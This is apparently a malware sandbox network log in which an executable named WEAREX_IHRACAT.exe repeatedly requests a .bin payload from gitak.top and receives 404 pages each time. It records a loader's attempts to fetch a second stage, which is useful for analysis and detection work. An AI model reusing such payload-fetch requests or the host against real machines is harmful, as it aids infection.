2024-08-29 10:47:19 UTC	688	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:47:19 UTC	1369	IN	Data Raw: 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e Data Ascii: px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn
2024-08-29 10:47:19 UTC	915	IN	Data Raw: 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 Data Ascii: .353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56
2024-08-29 10:47:19 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:47:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49817	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:47:29 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:47:29 UTC	681	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:47:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 52 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WFdsMkrc8RRA2jzkju2Dw8YfkBOYChY%2BEGc3nHm3kIXPFWw9F3UVUDtLhDBvQbwh6Wg7aerf%2FHvzGIPhbFjr8q%2BHOzwBdSezZB6%2B%2FdYhD7tu22gnwnrrCpoRlbg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf69bfe628236-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:47:29 UTC	688	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:47:29 UTC	1369	IN	Data Raw: 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e Data Ascii: px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn
2024-08-29 10:47:29 UTC	916	IN	Data Raw: 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 Data Ascii: .353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56
2024-08-29 10:47:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49818	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:47:40 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:47:40 UTC	673	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:47:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 63 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TijnKBodBwojS8fKVLojY4UC1Zb7qH4Z%2BxtG9PrWXRFiC80y5FNVswJzJLm0s5U0zdJRIgFfLZocw2Ur5PB80w5E4dR3i6Lkv31RTT9IhqHycTD8v6SWJwJBJCo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf6de0f7707fb-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:47:40 UTC	696	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:47:40 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:47:40 UTC	908	IN	Data Raw: 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 Data Ascii: 415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0
2024-08-29 10:47:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49819	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:47:50 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:47:51 UTC	675	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:47:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 74 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p6y9po9cH2nR7wTK5ZhBrQFqpL6XH8LRPJgEsXPzNxbZPFXkx604oL8xF8tKONIlMDQBjbn4NiZJ1F8%2F4MzoNkLpzMF4e%2FTLAfb3v07Zg4JJx8awOkQkv2DNogU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf720183182b6-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:47:51 UTC	694	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:47:51 UTC	1369	IN	Data Raw: 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:47:51 UTC	910	IN	Data Raw: 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 Data Ascii: 2.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627
2024-08-29 10:47:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49820	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:48:01 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:48:01 UTC	679	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:48:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 84 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rkJ5muxbGh3WKoyUAuIjzC29ofOziiGvVSYbGuOiaLSxUxquXjRmKH4x0GOwL3PlJ%2BFgCW9S6PKXfKzgsUNHeYU%2BRtwomMTuu4KRYo%2BT%2FgzLC1BMk453BH0JSes%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf761c9cf588a-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:48:01 UTC	690	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:48:01 UTC	1369	IN	Data Raw: 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a Data Ascii: ;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:48:01 UTC	914	IN	Data Raw: 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 Data Ascii: 53 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6
2024-08-29 10:48:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49821	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:48:11 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:48:12 UTC	677	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:48:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 95 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2aDB4%2BOqdQtNoXmdnoTwWpdHpIsfDYmEtXWW0tXRoz%2FPb0Q5QiF31cAPs8jSnMVLyadDzg%2FnEfE4a7Z5xnOSQRkMHpJMIfIhboElqhIyGydqjP9Tiraq2vao8TE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf7a3898859bc-IAD alt-svc: h3=":443"; ma=86400
